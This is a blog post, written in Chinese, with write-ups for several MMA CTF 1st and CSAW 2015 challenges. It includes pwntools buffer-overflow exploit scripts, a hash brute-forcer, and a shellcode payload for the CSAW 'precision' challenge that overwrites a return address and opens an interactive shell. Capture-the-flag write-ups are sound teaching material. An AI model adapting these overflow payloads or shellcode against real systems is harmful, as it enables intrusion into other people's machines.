mma ctf 1st && csaw 2015
(很久以前做的,现在发一下)最近做了两个CTF,水平太渣,做了没几道题,挑几个自己做的记录一下。
mma ctf 1st 之 rps:
1 from socket import * 2 s = socket(AF_INET, SOCK_STREAM) 3 s.connect(('milkyway.chal.mmactf.link',1641)) 4 #s.connect(('127.0.0.1',10001)) 5 print s.recv(1024) 6 7 payload = 'a'*48 + '\x03\x00\x00\x00\x00\x00\x00\x00'+ '\n' 8 s.send(payload) 9 print s.recv(1024) 10 11 rand=open("rand")#提前生成rand文件 12 for line in rand: 13 if(line.rstrip()=='1'): 14 s.send('S\n') 15 print s.recv(1024) 16 if(line.rstrip()=='2'): 17 s.send('R\n') 18 print s.recv(1024) 19 if(line.rstrip()=='0'): 20 s.send('P\n') 21 print s.recv(1024) 22 23 print s.recv(1024) 24 print s.recv(1024) 25 rand.close() 26 s.close()
flag:
赛后,看了他人写的writeup,感觉比我的好多了,也学了不少。
poc1:
1 from pwn import * 2 from ctypes import * 3 4 rps = 'RPS' 5 libc = CDLL("libc.so.6") 6 libc.srand(0x01010101); 7 8 def getNextAnswer(): 9 comp = libc.rand()%3 10 mine = (comp + 1) %3 11 return rps[mine] 12 r = remote("milkyway.chal.mmactf.link", 1641) 13 nama = "A" * 0x30 14 nama += "\x01"*4 15 print r.recv() 16 print "Sending: " + str(nama) 17 r.send(str(nama) + "\n") 18 print r.recv() 19 for j in range(0, 50 ): 20 x = getNextAnswer() 21 print r.recv() 22 print "Sending: " + x + "\n" 23 r.send(x + "\n") 24 data = r.recv() 25 print data 26 print r.recv() 27 r.close()
poc2:不同的思路
1 from pwn import * 2 import time 3 context.binary=”rps” 4 context.bits=64 5 addr1=0x00000000006010e8 6 addr2=0x00000000004008b4 7 payload=”A”*80 8 payload+=pack(addr1) 9 payload+=pack(addr2) 10 p=remote(“milkyway.chal.mmactf.link”,1641) 11 msg=p.recvuntil(‘:’) 12 print msg 13 p.sendline(payload) 14 msg=p.recvlines(2) 15 print msg 16 p.sendline(“I”) 17 msg=p.recvall() 18 print msg
mma ctf 1st 之 cannotberun:
拿010 editor 改了下IMAGE_DOS_HEADER的e_lfanew成员值。这个成员表明了PE文件头(IMAGE_NT_HEADERS)在PE文件中的偏移。如果这个值为0,则表示该文件是一个DOS MZ可执行文件,如果不为0,就是一个Windows的PE文件。
flag:
mma ctf 1st 之 splitted:
wireshark中follow tcp stream后,就可以发现每个包的位置了,然后就用010 editor重组一下,解压后是个psd文件,在线找了一个photoshop,两个图层,其中一个就是flag。
flag:
赛后看有人直接用 convert flag.psd flag.png ,直接就能看flag了
mma ctf 1st 之 simple_hash:
这个当时时间有点紧,算法已经弄懂,但是脚本没写出来。赛后,自己写了一个,不过比较慢,还有很大优化的空间。
算法是一个
1 import datetime 2 import itertools 3 import string 4 target = 0x1E1EAB437EEB0 5 mod = 0x38D7EA4C68025 6 alphabet = string.ascii_letters + string.digits 7 def crack(can): 8 result = '' 9 while(can>0): 10 q,r = divmod(can,577) 11 if r>=255: 12 return '' 13 if(chr(r) not in alphabet): 14 return '' 15 result = result + chr(r) 16 if len(result)>10: 17 return '' 18 can = q 19 return result 20 starttime = datetime.datetime.now() 21 for i in itertools.count(): 22 if i%10000000==0: 23 print i 24 target += mod 25 key = crack(target) 26 if key != '': 27 print 'cool\n' 28 print ''.join(reversed(key)) 29 break 30 endtime = datetime.datetime.now() 31 print (endtime - starttime).seconds
csaw pwn precision
1 from pwn import * 2 r = remote('54.173.98.115', 1259) 3 #r = remote('127.0.0.1',10001) 4 ret = r.recv(1024)[-9:-1] 5 print 'ret addr: %s' % ret 6 ret = int(ret,16) 7 retaddr = p32(ret) 8 9 shellcode="\xeb\x1b\x5f\x31\xc0\x6a\x53\x6a\x18\x59\x49\x5b\x8a\x04\x0f" 10 shellcode += "\xf6\xd3\x30\xd8\x88\x04\x0f\x50\x85\xc9\x75\xef\xeb\x05\xe8" 11 shellcode += "\xe0\xff\xff\xff\x1c\x7f\xc5\xf9\xbe\xa3\xe4\xff\xb8\xff\xb2" 12 shellcode += "\xf4\x1f\x95\x4e\xfe\x25\x97\x93\x30\xb6\x39\xb2\x2c" 13 14 payload = shellcode + 'a'*(0x80-58) + '\xa5\x31\x5a\x47\x55\x15\x50\x40' + 'b'*12 + retaddr 15 16 r.sendline(payload) 17 r.interactive()